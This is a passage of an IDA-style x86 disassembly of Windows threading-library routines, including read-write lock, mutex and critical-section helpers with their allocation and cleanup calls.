mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_4316D7: ; CODE XREF: ___:004316BCj
push edi
call sub_40131B
add esp, 4
push esi
call near ptr 77C3A307h
nop
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431730 proc near ; CODE XREF: sub_4017ADj
var_84 = byte ptr -84h
var_80 = dword ptr -80h
var_58 = byte ptr -58h
var_4C = dword ptr -4Ch
var_8 = byte ptr -8
arg_0 = dword ptr 4
sub esp, 84h
push ebx
mov ebx, [esp+88h+arg_0]
test ebx, ebx
push esi
jz short loc_4317AA
lea esi, [ebx+2Ch]
push edi
push esi
call sub_402225
push esi
mov dword ptr [ebx+0Ch], 5
call sub_4010C3
push ebx
call sub_40131B
mov ecx, 21h
mov esi, ebx
lea edi, [esp+9Ch+var_84]
push ebx
rep movsd
call sub_401BBD
mov eax, [esp+0A0h+var_4C]
mov esi, dword_50F8D8
add esp, 10h
test eax, eax
pop edi
jz short loc_431788
push eax
call esi ; dword_50F8D8
loc_431788: ; CODE XREF: sub_431730+53j
lea eax, [esp+8Ch+var_58]
push eax
call sub_40222F
mov eax, [esp+90h+var_80]
add esp, 4
test eax, eax
jz short loc_4317AA
test [esp+8Ch+var_8], 1
jnz short loc_4317AA
push eax
call esi ; dword_50F8D8
loc_4317AA: ; CODE XREF: sub_431730+11j
; sub_431730+6Bj ...
pop esi
pop ebx
add esp, 84h
retn
sub_431730 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4317F0 proc near ; CODE XREF: sub_401DC5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
push edi
push 14h
push 1
call near ptr 77C2C0C3h
nop
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_431811
pop edi
pop esi
pop ebp
mov eax, 0Ch
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431811: ; CODE XREF: sub_4317F0+15j
mov edi, [esp+10h+arg_8]
mov ebp, [esp+10h+arg_4]
mov dword ptr [esi], 0FFFFFFFFh
mov [esi+4], ebp
lea ebx, [edi+8]
mov [esi+8], edi
push ebx
call sub_402225
add esp, 4
mov [esp+10h+arg_4], eax
test eax, eax
jz short loc_431852
push esi
call sub_40222F
push esi
nop
call near ptr 77C2C21Bh
mov eax, [esp+18h+arg_4]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431852: ; CODE XREF: sub_4317F0+47j
mov eax, [edi+0Ch]
push ebx
mov [esi+10h], eax
mov [edi+0Ch], esi
call sub_4010C3
add esp, 4
test ebp, ebp
jz short loc_431877
mov ecx, [ebp+80h]
mov [esi+0Ch], ecx
mov [ebp+80h], esi
loc_431877: ; CODE XREF: sub_4317F0+76j
mov edx, [esp+10h+arg_0]
pop edi
xor eax, eax
mov [edx], esi
pop esi
pop ebp
pop ebx
retn
sub_4317F0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4318C0 proc near ; CODE XREF: sub_40105Fj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_4318E7
mov eax, [esi+8]
test eax, eax
jnz short loc_4318E7
mov eax, [esi+4]
test eax, eax
jnz short loc_4318E7
push esi
call sub_40222F
push esi
nop
call near ptr 77C2C21Bh
add esp, 8
loc_4318E7: ; CODE XREF: sub_4318C0+7j
; sub_4318C0+Ej ...
pop esi
retn
sub_4318C0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431900 proc near ; CODE XREF: sub_40131Bj
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
test ebx, ebx
push esi
jz short loc_43196D
mov esi, [ebx+80h]
test esi, esi
jz short loc_43196D
push edi
loc_431915: ; CODE XREF: sub_431900+6Aj
push esi
call sub_402225
add esp, 4
test eax, eax
jnz short loc_431968
mov edi, [esi+8]
test edi, edi
jz short loc_431943
push edi
call sub_401190
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_431943
mov edi, [edi+4]
test edi, edi
jz short loc_431943
push eax
loc_43193E: ; CODE XREF: ___:004319B7j
call edi ; free
add esp, 4
loc_431943: ; CODE XREF: sub_431900+27j
; sub_431900+34j ...
mov eax, [esi+0Ch]
mov dword ptr [esi+4], 0
push esi
mov [ebx+80h], eax
call sub_4010C3
push esi
call sub_40105F
mov esi, [ebx+80h]
add esp, 8
loc_431968: ; CODE XREF: sub_431900+20j
test esi, esi
jnz short loc_431915
pop edi
loc_43196D: ; CODE XREF: sub_431900+8j
; sub_431900+12j
pop esi
pop ebx
retn
sub_431900 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431990 proc near ; CODE XREF: sub_401DD4j
mov eax, dword_50E3D8
push ebx
push edi
push eax
call sub_401190
sub_431990 endp
; ---------------------------------------------------------------------------
db 8Bh, 5Ch, 24h
; ---------------------------------------------------------------------------
adc [ebx-47CFB3Ch], al
add cl, [ebx-7CF28B08h]
sti
add [eax+ecx+6Ah], esi
add [eax-7F7B3918h], edx
ja short loc_43193E
push dword ptr [esi+eax-0Ah]
inc edi
jl short near ptr loc_4319C0+1
loc_4319C0: ; CODE XREF: ___:004319BEj
jz short loc_4319E5
push esi
mov eax, ebx
xor esi, esi
dec eax
jz short loc_4319D2
dec eax
jnz short loc_4319D5
or esi, 0FFFFFFFFh
jmp short loc_4319D5
; ---------------------------------------------------------------------------
loc_4319D2: ; CODE XREF: ___:004319C8j
mov esi, [edi+14h]
loc_4319D5: ; CODE XREF: ___:004319CBj
; ___:004319D0j
call sub_4017C1
push esi
nop
call near ptr 77C3A307h
add esp, 4
pop esi
loc_4319E5: ; CODE XREF: ___:loc_4319C0j
push 1
call sub_401B0E
; ---------------------------------------------------------------------------
dd 8304C483h, 57533CC7h, 537AE890h, 90907780h, 90909090h
dd 8 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431A20 proc near ; CODE XREF: sub_401B0Ej
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_401122
sub_431A20 endp
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_431A3F
loc_431A32: ; CODE XREF: ___:00431A3Dj
push esi
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jnz short loc_431A32
loc_431A3F: ; CODE XREF: ___:00431A30j
pop esi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431A60: ; CODE XREF: ___:00401DDEj
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431A80 proc near ; CODE XREF: sub_4012D0j
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push edx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_8]
lock cmpxchg [ecx], edx
mov [ebp+var_4], eax
pop edx
pop ecx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 0Ch
sub_431A80 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431AC0 proc near ; CODE XREF: sub_401C26j
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
lea eax, [esp+8+var_4]
lea ecx, [esp+8+var_8]
push esi
push eax
push ecx
xor esi, esi
nop
call near ptr 2780B73h
push eax
call near ptr 27409F5h
nop
test eax, eax
jz short loc_431B02
mov edx, [esp+0Ch+var_8]
xor ecx, ecx
mov eax, 1
loc_431AEC: ; CODE XREF: sub_431AC0+33j
test eax, edx
jz short loc_431AF1
inc ecx
loc_431AF1: ; CODE XREF: sub_431AC0+2Ej
shl eax, 1
jnz short loc_431AEC
mov edx, [esp+0Ch+arg_0]
mov eax, esi
pop esi
mov [edx], ecx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_431B02: ; CODE XREF: sub_431AC0+1Fj
mov eax, 0Bh
pop esi
add esp, 8
retn
sub_431AC0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431B30 proc near ; CODE XREF: sub_40184Dj
arg_0 = dword ptr 4
push esi
push offset dword_50E980
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_431B64
push esi
push ecx
call sub_401F73
add esp, 8
mov esi, eax
push offset dword_50E980
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431B64: ; CODE XREF: sub_431B30+17j
test eax, eax
jnz short loc_431B6D
mov esi, 16h
loc_431B6D: ; CODE XREF: sub_431B30+36j
push offset dword_50E980
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
retn
sub_431B30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431BA0 proc near ; CODE XREF: sub_401852j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+14h]
lea ecx, [esi+4]
neg eax
push ecx
mov [esi+0Ch], eax
mov dword ptr [esi+14h], 0
call sub_4010C3
push esi
call sub_4010C3
add esp, 8
pop esi
retn
sub_431BA0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431BE0 proc near ; CODE XREF: sub_401F73j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
xor esi, esi
test eax, eax
jnz short loc_431BF2
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_431BF2: ; CODE XREF: sub_431BE0+9j
mov eax, [esp+4+arg_4]
push ebx
test eax, eax
push edi
jz short loc_431C12
cmp dword ptr [eax], 0
jz short loc_431C12
mov ecx, [esp+0Ch+arg_0]
mov edi, 16h
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_431C12: ; CODE XREF: sub_431BE0+1Aj
; sub_431BE0+1Fj
push 1Ch
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_431C36
mov ecx, [esp+0Ch+arg_0]
mov edi, 0Ch
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_431C36: ; CODE XREF: sub_431BE0+43j
push 0
push esi
mov dword ptr [esi+0Ch], 0
mov dword ptr [esi+10h], 0
mov dword ptr [esi+14h], 0
call sub_402199
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_431C94
lea ebx, [esi+4]
push eax
push ebx
call sub_402199
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_431C8B
push eax
lea eax, [esi+8]
push eax
call sub_401541
mov edi, eax
add esp, 8
test edi, edi
jz short loc_431CAC
push ebx
call sub_40222F
add esp, 4
loc_431C8B: ; CODE XREF: sub_431BE0+8Dj
push esi
call sub_40222F
add esp, 4
loc_431C94: ; CODE XREF: sub_431BE0+7Aj
push esi
nop
call near ptr 77C2C21Bh
mov ecx, [esp+10h+arg_0]
add esp, 4
xor esi, esi
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_431CAC: ; CODE XREF: sub_431BE0+A0j
mov ecx, [esp+0Ch+arg_0]
xor edi, edi
mov eax, edi
mov dword ptr [esi+18h], 0FACADE2h
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
sub_431BE0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431D10: ; CODE XREF: ___:004018ACj
mov eax, [esp+4]
push ebx
push ebp
push esi
push edi
xor ebx, ebx
xor edi, edi
xor ebp, ebp
test eax, eax
jz loc_431E4B
mov esi, [eax]
test esi, esi
jz loc_431E4B
cmp esi, 0FFFFFFFFh
jz loc_431E07
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_431E4B
push esi
call sub_402225
add esp, 4
test eax, eax
jnz loc_431E50
lea edi, [esi+4]
push edi
call sub_402225
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_431D79
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431D79: ; CODE XREF: ___:00431D67j
mov eax, [esi+10h]
test eax, eax
jg short loc_431DED
mov eax, [esi+0Ch]
mov ecx, [esi+14h]
cmp eax, ecx
jg short loc_431DED
push edi
mov dword ptr [esi+18h], 0
call sub_4010C3
add esp, 4
mov ebx, eax
test ebx, ebx
push esi
jz short loc_431DB0
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431DB0: ; CODE XREF: ___:00431D9Fj
call sub_4010C3
add esp, 4
test eax, eax
jnz loc_431E50
mov ecx, [esp+14h]
lea edx, [esi+8]
push edx
mov [ecx], eax
call sub_401A91
push edi
mov ebx, eax
call sub_40222F
push esi
mov edi, eax
call sub_40222F
push esi
mov ebp, eax
nop
call near ptr 77C2C21Bh
add esp, 10h
jmp short loc_431E33
; ---------------------------------------------------------------------------
loc_431DED: ; CODE XREF: ___:00431D7Ej
; ___:00431D88j
push edi
call sub_4010C3
push esi
mov ebx, eax
call sub_4010C3
add esp, 8
mov edi, eax
mov ebp, 10h
jmp short loc_431E33
; ---------------------------------------------------------------------------
loc_431E07: ; CODE XREF: ___:00431D33j
push offset dword_50E980
call near ptr 7C901005h
nop
mov eax, [esp+14h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_431E23
mov dword ptr [eax], 0
jmp short loc_431E28
; ---------------------------------------------------------------------------
loc_431E23: ; CODE XREF: ___:00431E19j
mov ebx, 10h
loc_431E28: ; CODE XREF: ___:00431E21j
push offset dword_50E980
nop
call near ptr 7C9010EDh
loc_431E33: ; CODE XREF: ___:00431DEBj
; ___:00431E05j
test ebx, ebx
jz short loc_431E3E
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431E3E: ; CODE XREF: ___:00431E35j
test edi, edi
mov eax, edi
jnz short loc_431E50
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431E4B: ; CODE XREF: ___:00431D20j
; ___:00431D2Aj ...
mov eax, 16h
loc_431E50: ; CODE XREF: ___:00431D51j
; ___:00431DBAj ...
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431EC0: ; CODE XREF: ___:00401E88j
push esi
push 4
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
test eax, eax
jnz short loc_431EE3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_431EE3: ; CODE XREF: ___:00431ED2j
mov ecx, [esp+8]
mov dword ptr [eax], 0
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431F10: ; CODE XREF: ___:00401794j
mov ecx, [esp+4]
push esi
xor esi, esi
test ecx, ecx
jz short loc_431F31
mov eax, [ecx]
test eax, eax
jz short loc_431F31
push eax
mov [ecx], esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431F31: ; CODE XREF: ___:00431F19j
; ___:00431F1Fj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431F50: ; CODE XREF: ___:00401136j
mov eax, [esp+4]
test eax, eax
jz short loc_431F6D
mov eax, [eax]
test eax, eax
jz short loc_431F6D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_431F6D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_431F6D: ; CODE XREF: ___:00431F56j
; ___:00431F5Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431F90: ; CODE XREF: ___:0040159Bj
mov eax, [esp+4]
test eax, eax
jz short loc_431FBA
mov ecx, [eax]
test ecx, ecx
jz short loc_431FBA
mov eax, [esp+8]
cmp eax, 1
jz short loc_431FAE
test eax, eax
jnz short loc_431FBA
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_431FAE: ; CODE XREF: ___:00431FA5j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_431FBA: ; CODE XREF: ___:00431F96j
; ___:00431F9Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431FD0: ; CODE XREF: ___:00402077j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_43208A
mov eax, [esi]
test eax, eax
jz loc_43208A
cmp eax, 0FFFFFFFFh
jnz short loc_432004
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_432004
cmp eax, 10h
jnz loc_43208F
loc_432004: ; CODE XREF: ___:00431FECj
; ___:00431FF9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_43208A
push esi
call sub_402225
add esp, 4
test eax, eax
jnz short loc_43208F
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_43207D
lea edi, [esi+4]
push edi
call sub_402225
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_43204D
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43204D: ; CODE XREF: ___:0043203Cj
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43207D
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43207D: ; CODE XREF: ___:0043202Aj
; ___:0043206Cj
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43208A: ; CODE XREF: ___:00431FD9j
; ___:00431FE3j ...
mov eax, 16h
loc_43208F: ; CODE XREF: ___:00431FFEj
; ___:0043201Aj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4320E0: ; CODE XREF: ___:0040169Aj
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_4321AF
mov eax, [esi]
test eax, eax
jz loc_4321AF
cmp eax, 0FFFFFFFFh
jnz short loc_432114
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_432114
cmp eax, 10h
jnz loc_4321B4
loc_432114: ; CODE XREF: ___:004320FCj
; ___:00432109j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_4321AF
mov ebx, [esp+14h]
push ebx
push esi
call sub_401BC2
add esp, 8
test eax, eax
jnz short loc_4321B4
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_4321A2
lea edi, [esi+4]
push ebx
push edi
call sub_401BC2
mov ebx, eax
add esp, 8
test ebx, ebx
jz short loc_432172
cmp ebx, 274Ch
jnz short loc_432163
inc dword ptr [esi+14h]
loc_432163: ; CODE XREF: ___:0043215Ej
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432172: ; CODE XREF: ___:00432156j
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_4321A2
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4321A2: ; CODE XREF: ___:00432143j
; ___:00432191j
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4321AF: ; CODE XREF: ___:004320E9j
; ___:004320F3j ...
mov eax, 16h
loc_4321B4: ; CODE XREF: ___:0043210Ej
; ___:00432133j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432200: ; CODE XREF: ___:004015C8j
sub esp, 0Ch
push ebp
push esi
mov esi, [esp+18h]
push edi
test esi, esi
jz loc_4322F6
mov eax, [esi]
test eax, eax
jz loc_4322F6
cmp eax, 0FFFFFFFFh
jnz short loc_432237
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_432237
cmp eax, 10h
jnz loc_4322FB
loc_432237: ; CODE XREF: ___:0043221Fj
; ___:0043222Cj
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_4322F6
push esi
call sub_402225
add esp, 4
test eax, eax
jnz loc_4322FB
lea ebp, [esi+4]
push ebp
call sub_402225
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43227B
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_43227B: ; CODE XREF: ___:00432267j
mov eax, [esi+10h]
test eax, eax
jnz short loc_4322EA
mov eax, [esi+14h]
test eax, eax
jle short loc_432298
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_432298: ; CODE XREF: ___:00432287j
mov eax, [esi+0Ch]
test eax, eax
jle short loc_4322EA
neg eax
push ebx
mov [esi+14h], eax
push esi
lea eax, [esp+14h]
push offset sub_401852
push eax
call sub_401659
; ---------------------------------------------------------------------------
add esp, 0Ch
lea ebx, [esi+8]
loc_4322BB: ; CODE XREF: ___:004322D0j
push ebp
push ebx
call sub_401203
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_4322D2
mov eax, [esi+14h]
test eax, eax
jl short loc_4322BB
loc_4322D2: ; CODE XREF: ___:004322C9j
xor ecx, ecx
test edi, edi
setnz cl
push ecx
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test edi, edi
pop ebx
jnz short loc_4322ED
mov [esi+0Ch], edi
loc_4322EA: ; CODE XREF: ___:00432280j
; ___:0043229Dj
inc dword ptr [esi+10h]
loc_4322ED: ; CODE XREF: ___:004322E5j
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4322F6: ; CODE XREF: ___:0043220Cj
; ___:00432216j ...
mov eax, 16h
loc_4322FB: ; CODE XREF: ___:00432231j
; ___:00432251j
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432360: ; CODE XREF: ___:00401951j
sub esp, 0Ch
push ebp
push esi
mov esi, [esp+18h]
push edi
test esi, esi
jz loc_432461
mov eax, [esi]
test eax, eax
jz loc_432461
cmp eax, 0FFFFFFFFh
jnz short loc_432397
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_432397
cmp eax, 10h
jnz loc_432466
loc_432397: ; CODE XREF: ___:0043237Fj
; ___:0043238Cj
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_432461
mov edi, [esp+20h]
push edi
push esi
call sub_401BC2
add esp, 8
test eax, eax
jnz loc_432466
lea ebp, [esi+4]
push edi
push ebp
call sub_401BC2
mov edi, eax
add esp, 8
test edi, edi
jz short loc_4323E1
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4323E1: ; CODE XREF: ___:004323CDj
mov eax, [esi+10h]
test eax, eax
jnz short loc_432455
mov eax, [esi+14h]
test eax, eax
jle short loc_4323FE
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_4323FE: ; CODE XREF: ___:004323EDj
mov eax, [esi+0Ch]
test eax, eax
jle short loc_432455
neg eax
push ebx
mov [esi+14h], eax
push esi
lea eax, [esp+14h]
push offset sub_401852
push eax
call sub_401659
; ---------------------------------------------------------------------------
add esp, 0Ch
lea ebx, [esi+8]
loc_432421: ; CODE XREF: ___:0043243Bj
mov ecx, [esp+24h]
push ecx
push ebp
push ebx
call sub_4011E0
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_43243D
mov eax, [esi+14h]
test eax, eax
jl short loc_432421
loc_43243D: ; CODE XREF: ___:00432434j
xor edx, edx
test edi, edi
setnz dl
push edx
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test edi, edi
pop ebx
jnz short loc_432458
mov [esi+0Ch], edi
loc_432455: ; CODE XREF: ___:004323E6j
; ___:00432403j
inc dword ptr [esi+10h]
loc_432458: ; CODE XREF: ___:00432450j
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_432461: ; CODE XREF: ___:0043236Cj
; ___:00432376j ...
mov eax, 16h
loc_432466: ; CODE XREF: ___:00432391j
; ___:004323B6j
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4324C0: ; CODE XREF: ___:004015BEj
mov eax, [esp+4]
push ebx
push esi
push edi
test eax, eax
jz short loc_432546
mov esi, [eax]
test esi, esi
jz short loc_432546
cmp esi, 0FFFFFFFFh
jnz short loc_4324DC
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4324DC: ; CODE XREF: ___:004324D4j
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_432546
mov eax, [esi+10h]
test eax, eax
jnz short loc_432524
lea ebx, [esi+4]
push ebx
call sub_402225
mov edi, eax
add esp, 4
test edi, edi
jz short loc_432502
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432502: ; CODE XREF: ___:004324FCj
mov eax, [esi+14h]
inc eax
mov [esi+14h], eax
jnz short loc_432519
add esi, 8
push esi
call sub_401E51
add esp, 4
mov edi, eax
loc_432519: ; CODE XREF: ___:00432509j
push ebx
call sub_4010C3
add esp, 4
jmp short loc_43253C
; ---------------------------------------------------------------------------
loc_432524: ; CODE XREF: ___:004324EAj
dec eax
mov [esi+10h], eax
lea eax, [esi+4]
push eax
call sub_4010C3
push esi
mov edi, eax
call sub_4010C3
add esp, 8
loc_43253C: ; CODE XREF: ___:00432522j
test edi, edi
jz short loc_43254B
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432546: ; CODE XREF: ___:004324C9j
; ___:004324CFj ...
mov eax, 16h
loc_43254B: ; CODE XREF: ___:0043253Ej
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432580: ; CODE XREF: ___:00401532j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_43263A
mov eax, [esi]
test eax, eax
jz loc_43263A
cmp eax, 0FFFFFFFFh
jnz short loc_4325B4
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_4325B4
cmp eax, 10h
jnz loc_43263F
loc_4325B4: ; CODE XREF: ___:0043259Cj
; ___:004325A9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_43263A
push esi
call sub_40177B
add esp, 4
test eax, eax
jnz short loc_43263F
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_43262D
lea edi, [esi+4]
push edi
call sub_402225
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_4325FD
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4325FD: ; CODE XREF: ___:004325ECj
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43262D
push esi
call sub_4010C3
